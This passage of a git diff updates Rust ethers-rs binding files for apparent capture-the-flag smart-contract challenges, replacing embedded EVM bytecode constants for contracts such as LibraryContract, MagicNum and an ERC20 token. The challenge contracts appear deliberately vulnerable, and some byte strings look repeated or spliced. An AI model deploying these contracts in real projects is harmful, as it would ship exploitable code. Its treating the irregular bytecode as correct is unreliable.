x80c\x06\xFD\xDE\x03\x14a\x01\x10W\x80c\t^\xA7\xB3\x14a\x01.W\x80c\x18\x16\r\xDD\x14a\x01QW\x80c\x1D-\x84\0\x14a\x01cW[`\0\x80\xFD[a\x01\x18a\x02}V[`@Qa\x01%\x91\x90a\nRV[`@Q\x80\x91\x03\x90\xF3[a\x01Aa\x01<6`\x04a\n\xB5V[a\x03\x0FV[`@Q\x90\x15\x15\x81R` \x01a\x01%V[`\x02T[`@Q\x90\x81R` \x01a\x01%V[a\x01va\x01q6`\x04a\n\xE1V[a\x03)V[\0[a\x01Aa\x01\x866`\x04a\x0B\x05V[a\x03SV[`@Q`\x12\x81R` \x01a\x01%V[a\x01Aa\x01\xA86`\x04a\n\xB5V[a\x03wV[a\x01va\x01\xBB6`\x04a\n\xB5V[a\x03\x99V[a\x01Ua\x01\xCE6`\x04a\n\xE1V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x01va\x03\xAFV[`\x05T`\x01`\x01`\xA0\x1B\x03\x16[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01%V[a\x01\x18a\x03\xC3V[a\x01Aa\x02,6`\x04a\n\xB5V[a\x03\xD2V[a\x01Aa\x02?6`\x04a\n\xB5V[a\x04RV[`\x06Ta\x01\xFE\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01Ua\x02e6`\x04a\x0BFV[a\x04\xF3V[a\x01va\x02x6`\x04a\n\xE1V[a\x05\x1EV[```\x03\x80Ta\x02\x8C\x90a\x0B\x7FV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xB8\x90a\x0B\x7FV[\x80\x15a\x03\x05W\x80`\x1F\x10a\x02\xDAWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03\x05V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\xE8W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03\x1D\x81\x85\x85a\x05\x97V[`\x01\x91PP[\x92\x91PPV[a\x031a\x06\xBBV[`\x06\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x003a\x03a\x85\x82\x85a\x07\x15V[a\x03l\x85\x85\x85a\x07\x8FV[P`\x01\x94\x93PPPPV[`\x003a\x03\x1D\x81\x85\x85a\x03\x8A\x83\x83a\x04\xF3V[a\x03\x94\x91\x90a\x0B\xB9V[a\x05\x97V[a\x03\xA1a\x06\xBBV[a\x03\xAB\x82\x82a\t3V[PPV[a\x03\xB7a\x06\xBBV[a\x03\xC1`\0a\t\xF2V[V[```\x04\x80Ta\x02\x8C\x90a\x0B\x7FV[`\x003\x81a\x03\xE0\x82\x86a\x04\xF3V[\x90P\x83\x81\x10\x15a\x04EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x03l\x82\x86\x86\x84\x03a\x05\x97V[`\x06T`\0\x90`\x01`\x01`\xA0\x1B\x03\x16a\x04vWa\x04o\x83\x83a\nDV[\x90Pa\x03#V[`\x06T`@Qc\x9C\xD1\xA1!`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x85\x81\x16`\x04\x83\x01R`$\x82\x01\x85\x90R3`D\x83\x01R\x90\x91\x16\x90c\x9C\xD1\xA1!\x90`d\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x04\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04o\x91\x90a\x0B\xDAV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x05&a\x06\xBBV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x05\x8BW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xE42\xA7\xC1dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15b\0\0\x11W`\0\x80\xFD[P`@Q\x80`@\x01`@R\x80`\x0B\x81R` \x01j&2\xB3\xB0\xB1\xBC\xAA7\xB5\xB2\xB7`\xA9\x1B\x81RP`@Q\x80`@\x01`@R\x80`\x03\x81R` \x01b\x13\x11\xD5`\xEA\x1B\x81RP\x81`\x03\x90\x81b\0\0c\x91\x90b\0\x01\x90V[P`\x04b\0\0r\x82\x82b\0\x01\x90V[PPPb\0\0\x8Fb\0\0\x89b\0\0\x95` \x1B` \x1CV[b\0\0\x99V[b\0\x02\\V[3\x90V[`\x05\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x90\x93U`@Q\x91\x16\x91\x90\x82\x90\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x90`\0\x90\xA3PPV[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[`\x01\x81\x81\x1C\x90\x82\x16\x80b\0\x01\x16W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03b\0\x017WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15b\0\x01\x8BW`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15b\0\x01fWP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15b\0\x01\x87W\x82\x81U`\x01\x01b\0\x01rV[PPP[PPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15b\0\x01\xACWb\0\x01\xACb\0\0\xEBV[b\0\x01\xC4\x81b\0\x01\xBD\x84Tb\0\x01\x01V[\x84b\0\x01=V[` \x80`\x1F\x83\x11`\x01\x81\x14b\0\x01\xFCW`\0\x84\x15b\0\x01\xE3WP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ub\0\x01\x87V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15b\0\x02-W\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01b\0\x02\x0CV[P\x85\x82\x10\x15b\0\x02LW\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[a\x0C2\x80b\0\x02l`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x01\x0BW`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0\xA2W\x80c\xA4W\xC2\xD7\x11a\0qW\x80c\xA4W\xC2\xD7\x14a\x02\x1EW\x80c\xA9\x05\x9C\xBB\x14a\x021W\x80c\xC8\x9ECa\x14a\x02DW\x80c\xDDb\xED>\x14a\x02WW\x80c\xF2\xFD\xE3\x8B\x14a\x02jW`\0\x80\xFD[\x80cp\xA0\x821\x14a\x01\xC0W\x80cqP\x18\xA6\x14a\x01\xE9W\x80c\x8D\xA5\xCB[\x14a\x01\xF1W\x80c\x95\xD8\x9BA\x14a\x02\x16W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xDEW\x80c#\xB8r\xDD\x14a\x01xW\x80c1<\xE5g\x14a\x01\x8BW\x80c9P\x93Q\x14a\x01\x9AW\x80c@\xC1\x0F\x19\x14a\x01\xADW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\x01\x10W\x80c\t^\xA7\xB3\x14a\x01.W\x80c\x18\x16\r\xDD\x14a\x01QW\x80c\x1D-\x84\0\x14a\x01cW[`\0\x80\xFD[a\x01\x18a\x02}V[`@Qa\x01%\x91\x90a\nRV[`@Q\x80\x91\x03\x90\xF3[a\x01Aa\x01<6`\x04a\n\xB5V[a\x03\x0FV[`@Q\x90\x15\x15\x81R` \x01a\x01%V[`\x02T[`@Q\x90\x81R` \x01a\x01%V[a\x01va\x01q6`\x04a\n\xE1V[a\x03)V[\0[a\x01Aa\x01\x866`\x04a\x0B\x05V[a\x03SV[`@Q`\x12\x81R` \x01a\x01%V[a\x01Aa\x01\xA86`\x04a\n\xB5V[a\x03wV[a\x01va\x01\xBB6`\x04a\n\xB5V[a\x03\x99V[a\x01Ua\x01\xCE6`\x04a\n\xE1V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x01va\x03\xAFV[`\x05T`\x01`\x01`\xA0\x1B\x03\x16[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01%V[a\x01\x18a\x03\xC3V[a\x01Aa\x02,6`\x04a\n\xB5V[a\x03\xD2V[a\x01Aa\x02?6`\x04a\n\xB5V[a\x04RV[`\x06Ta\x01\xFE\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01Ua\x02e6`\x04a\x0BFV[a\x04\xF3V[a\x01va\x02x6`\x04a\n\xE1V[a\x05\x1EV[```\x03\x80Ta\x02\x8C\x90a\x0B\x7FV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xB8\x90a\x0B\x7FV[\x80\x15a\x03\x05W\x80`\x1F\x10a\x02\xDAWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03\x05V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\xE8W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03\x1D\x81\x85\x85a\x05\x97V[`\x01\x91PP[\x92\x91PPV[a\x031a\x06\xBBV[`\x06\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x003a\x03a\x85\x82\x85a\x07\x15V[a\x03l\x85\x85\x85a\x07\x8FV[P`\x01\x94\x93PPPPV[`\x003a\x03\x1D\x81\x85\x85a\x03\x8A\x83\x83a\x04\xF3V[a\x03\x94\x91\x90a\x0B\xB9V[a\x05\x97V[a\x03\xA1a\x06\xBBV[a\x03\xAB\x82\x82a\t3V[PPV[a\x03\xB7a\x06\xBBV[a\x03\xC1`\0a\t\xF2V[V[```\x04\x80Ta\x02\x8C\x90a\x0B\x7FV[`\x003\x81a\x03\xE0\x82\x86a\x04\xF3V[\x90P\x83\x81\x10\x15a\x04EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x03l\x82\x86\x86\x84\x03a\x05\x97V[`\x06T`\0\x90`\x01`\x01`\xA0\x1B\x03\x16a\x04vWa\x04o\x83\x83a\nDV[\x90Pa\x03#V[`\x06T`@Qc\x9C\xD1\xA1!`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x85\x81\x16`\x04\x83\x01R`$\x82\x01\x85\x90R3`D\x83\x01R\x90\x91\x16\x90c\x9C\xD1\xA1!\x90`d\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x04\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04o\x91\x90a\x0B\xDAV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x05&a\x06\xBBV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x05\x8BW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\x14a\x02WW\x80c\xF2\xFD\xE3\x8B\x14a\x02jW`\0\x80\xFD[\x80cp\xA0\x821\x14a\x01\xC0W\x80cqP\x18\xA6\x14a\x01\xE9W\x80c\x8D\xA5\xCB[\x14a\x01\xF1W\x80c\x95\xD8\x9BA\x14a\x02\x16W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xDEW\x80c#\xB8r\xDD\x14a\x01xW\x80c1<\xE5g\x14a\x01\x8BW\x80c9P\x93Q\x14a\x01\x9AW\x80c@\xC1\x0F\x19\x14a\x01\xADW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\x01\x10W\x80c\t^\xA7\xB3\x14a\x01.W\x80c\x18\x16\r\xDD\x14a\x01QW\x80c\x1D-\x84\0\x14a\x01cW[`\0\x80\xFD[a\x01\x18a\x02}V[`@Qa\x01%\x91\x90a\nRV[`@Q\x80\x91\x03\x90\xF3[a\x01Aa\x01<6`\x04a\n\xB5V[a\x03\x0FV[`@Q\x90\x15\x15\x81R` \x01a\x01%V[`\x02T[`@Q\x90\x81R` \x01a\x01%V[a\x01va\x01q6`\x04a\n\xE1V[a\x03)V[\0[a\x01Aa\x01\x866`\x04a\x0B\x05V[a\x03SV[`@Q`\x12\x81R` \x01a\x01%V[a\x01Aa\x01\xA86`\x04a\n\xB5V[a\x03wV[a\x01va\x01\xBB6`\x04a\n\xB5V[a\x03\x99V[a\x01Ua\x01\xCE6`\x04a\n\xE1V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x01va\x03\xAFV[`\x05T`\x01`\x01`\xA0\x1B\x03\x16[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01%V[a\x01\x18a\x03\xC3V[a\x01Aa\x02,6`\x04a\n\xB5V[a\x03\xD2V[a\x01Aa\x02?6`\x04a\n\xB5V[a\x04RV[`\x06Ta\x01\xFE\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01Ua\x02e6`\x04a\x0BFV[a\x04\xF3V[a\x01va\x02x6`\x04a\n\xE1V[a\x05\x1EV[```\x03\x80Ta\x02\x8C\x90a\x0B\x7FV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xB8\x90a\x0B\x7FV[\x80\x15a\x03\x05W\x80`\x1F\x10a\x02\xDAWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03\x05V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\xE8W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03\x1D\x81\x85\x85a\x05\x97V[`\x01\x91PP[\x92\x91PPV[a\x031a\x06\xBBV[`\x06\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x003a\x03a\x85\x82\x85a\x07\x15V[a\x03l\x85\x85\x85a\x07\x8FV[P`\x01\x94\x93PPPPV[`\x003a\x03\x1D\x81\x85\x85a\x03\x8A\x83\x83a\x04\xF3V[a\x03\x94\x91\x90a\x0B\xB9V[a\x05\x97V[a\x03\xA1a\x06\xBBV[a\x03\xAB\x82\x82a\t3V[PPV[a\x03\xB7a\x06\xBBV[a\x03\xC1`\0a\t\xF2V[V[```\x04\x80Ta\x02\x8C\x90a\x0B\x7FV[`\x003\x81a\x03\xE0\x82\x86a\x04\xF3V[\x90P\x83\x81\x10\x15a\x04EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x03l\x82\x86\x86\x84\x03a\x05\x97V[`\x06T`\0\x90`\x01`\x01`\xA0\x1B\x03\x16a\x04vWa\x04o\x83\x83a\nDV[\x90Pa\x03#V[`\x06T`@Qc\x9C\xD1\xA1!`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x85\x81\x16`\x04\x83\x01R`$\x82\x01\x85\x90R3`D\x83\x01R\x90\x91\x16\x90c\x9C\xD1\xA1!\x90`d\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x04\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04o\x91\x90a\x0B\xDAV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x05&a\x06\xBBV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x05\x8BW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xE42\xA7\xC1dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x01\x0BW`\x005`\xE0\x1C\x80cp\xA0\x821\x11a\0\xA2W\x80c\xA4W\xC2\xD7\x11a\0qW\x80c\xA4W\xC2\xD7\x14a\x02\x1EW\x80c\xA9\x05\x9C\xBB\x14a\x021W\x80c\xC8\x9ECa\x14a\x02DW\x80c\xDDb\xED>\x14a\x02WW\x80c\xF2\xFD\xE3\x8B\x14a\x02jW`\0\x80\xFD[\x80cp\xA0\x821\x14a\x01\xC0W\x80cqP\x18\xA6\x14a\x01\xE9W\x80c\x8D\xA5\xCB[\x14a\x01\xF1W\x80c\x95\xD8\x9BA\x14a\x02\x16W`\0\x80\xFD[\x80c#\xB8r\xDD\x11a\0\xDEW\x80c#\xB8r\xDD\x14a\x01xW\x80c1<\xE5g\x14a\x01\x8BW\x80c9P\x93Q\x14a\x01\x9AW\x80c@\xC1\x0F\x19\x14a\x01\xADW`\0\x80\xFD[\x80c\x06\xFD\xDE\x03\x14a\x01\x10W\x80c\t^\xA7\xB3\x14a\x01.W\x80c\x18\x16\r\xDD\x14a\x01QW\x80c\x1D-\x84\0\x14a\x01cW[`\0\x80\xFD[a\x01\x18a\x02}V[`@Qa\x01%\x91\x90a\nRV[`@Q\x80\x91\x03\x90\xF3[a\x01Aa\x01<6`\x04a\n\xB5V[a\x03\x0FV[`@Q\x90\x15\x15\x81R` \x01a\x01%V[`\x02T[`@Q\x90\x81R` \x01a\x01%V[a\x01va\x01q6`\x04a\n\xE1V[a\x03)V[\0[a\x01Aa\x01\x866`\x04a\x0B\x05V[a\x03SV[`@Q`\x12\x81R` \x01a\x01%V[a\x01Aa\x01\xA86`\x04a\n\xB5V[a\x03wV[a\x01va\x01\xBB6`\x04a\n\xB5V[a\x03\x99V[a\x01Ua\x01\xCE6`\x04a\n\xE1V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R` \x81\x90R`@\x90 T\x90V[a\x01va\x03\xAFV[`\x05T`\x01`\x01`\xA0\x1B\x03\x16[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\x01%V[a\x01\x18a\x03\xC3V[a\x01Aa\x02,6`\x04a\n\xB5V[a\x03\xD2V[a\x01Aa\x02?6`\x04a\n\xB5V[a\x04RV[`\x06Ta\x01\xFE\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\x01Ua\x02e6`\x04a\x0BFV[a\x04\xF3V[a\x01va\x02x6`\x04a\n\xE1V[a\x05\x1EV[```\x03\x80Ta\x02\x8C\x90a\x0B\x7FV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x02\xB8\x90a\x0B\x7FV[\x80\x15a\x03\x05W\x80`\x1F\x10a\x02\xDAWa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x03\x05V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x02\xE8W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x90P\x90V[`\x003a\x03\x1D\x81\x85\x85a\x05\x97V[`\x01\x91PP[\x92\x91PPV[a\x031a\x06\xBBV[`\x06\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x003a\x03a\x85\x82\x85a\x07\x15V[a\x03l\x85\x85\x85a\x07\x8FV[P`\x01\x94\x93PPPPV[`\x003a\x03\x1D\x81\x85\x85a\x03\x8A\x83\x83a\x04\xF3V[a\x03\x94\x91\x90a\x0B\xB9V[a\x05\x97V[a\x03\xA1a\x06\xBBV[a\x03\xAB\x82\x82a\t3V[PPV[a\x03\xB7a\x06\xBBV[a\x03\xC1`\0a\t\xF2V[V[```\x04\x80Ta\x02\x8C\x90a\x0B\x7FV[`\x003\x81a\x03\xE0\x82\x86a\x04\xF3V[\x90P\x83\x81\x10\x15a\x04EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`%`$\x82\x01R\x7FERC20: decreased allowance below`D\x82\x01Rd zero`\xD8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[a\x03l\x82\x86\x86\x84\x03a\x05\x97V[`\x06T`\0\x90`\x01`\x01`\xA0\x1B\x03\x16a\x04vWa\x04o\x83\x83a\nDV[\x90Pa\x03#V[`\x06T`@Qc\x9C\xD1\xA1!`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x85\x81\x16`\x04\x83\x01R`$\x82\x01\x85\x90R3`D\x83\x01R\x90\x91\x16\x90c\x9C\xD1\xA1!\x90`d\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x04\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x04o\x91\x90a\x0B\xDAV[`\x01`\x01`\xA0\x1B\x03\x91\x82\x16`\0\x90\x81R`\x01` \x90\x81R`@\x80\x83 \x93\x90\x94\x16\x82R\x91\x90\x91R T\x90V[a\x05&a\x06\xBBV[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x05\x8BW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04 = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x8D\x80a\0\x1E`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c;\xEB&\xC4\x14`-W[`\0\x80\xFD[`=`86`\x04`?V[`\0UV[\0[`\0` \x82\x84\x03\x12\x15`PW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 /\t!:\xE7\x14\x16w\x7F\xE3\xBB\x17\xC6\x858\xA6Rj\x858[\x7F\xCE4r\xC6\0\xE6\xE3\x16\x06\xD2dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x8D\x80a\0\x1E`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c;\xEB&\xC4\x14`-W[`\0\x80\xFD[`=`86`\x04`?V[`\0UV[\0[`\0` \x82\x84\x03\x12\x15`PW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x8B1\n\xC7^\x1A\xFD\x88\xEDG\x08\x96y\xC6KR\xAC\xE0@\xC9\xE9\x140\x85\x82{\x9C|\x11B\xF1\xAEdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static LIBRARYCONTRACT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c;\xEB&\xC4\x14`-W[`\0\x80\xFD[`=`86`\x04`?V[`\0UV[\0[`\0` \x82\x84\x03\x12\x15`PW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 /\t!:\xE7\x14\x16w\x7F\xE3\xBB\x17\xC6\x858\xA6Rj\x858[\x7F\xCE4r\xC6\0\xE6\xE3\x16\x06\xD2dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c;\xEB&\xC4\x14`-W[`\0\x80\xFD[`=`86`\x04`?V[`\0UV[\0[`\0` \x82\x84\x03\x12\x15`PW`\0\x80\xFD[P5\x91\x90PV\xFE\xA2dipfsX\"\x12 \x8B1\n\xC7^\x1A\xFD\x88\xEDG\x08\x96y\xC6KR\xAC\xE0@\xC9\xE9\x140\x85\x82{\x9C|\x11B\xF1\xAEdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static LIBRARYCONTRACT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/magic_num.rs b/ctf/src/abi/magic_num.rs index a0d92b3..a92ec6a 100644 --- a/ctf/src/abi/magic_num.rs +++ b/ctf/src/abi/magic_num.rs @@ -69,12 +69,12 @@ pub mod magic_num { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\xF8\x80a\0\x1F`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80c\x1F\x87\x943\x14`7W\x80cI\xA7\xA2m\x14`fW[`\0\x80\xFD[`d`B6`\x04`\x94V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\0[`\0T`x\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xA5W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xBBW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 ;\xE8\xB9E\xB0\xDA\x04\xFE\xECO\xD1\xB6\xFEQ\xB4J\xD69E\xE0\x1C\x82\x80\xE3\x96\x8B\xD6MN\xFE\x113dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\xF8\x80a\0\x1F`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`2W`\x005`\xE0\x1C\x80c\x1F\x87\x943\x14`7W\x80cI\xA7\xA2m\x14`fW[`\0\x80\xFD[`d`B6`\x04`\x94V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[\0[`\0T`x\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xA5W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xBBW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \\\xAE\x1F\x7Fy\xDC\xF5\x05JBm4\\-\x1D0~\x85\x89\x8D9\n2\x93\x06\x18A\xD6\xFC\x03@\xECdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static MAGICNUM_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = 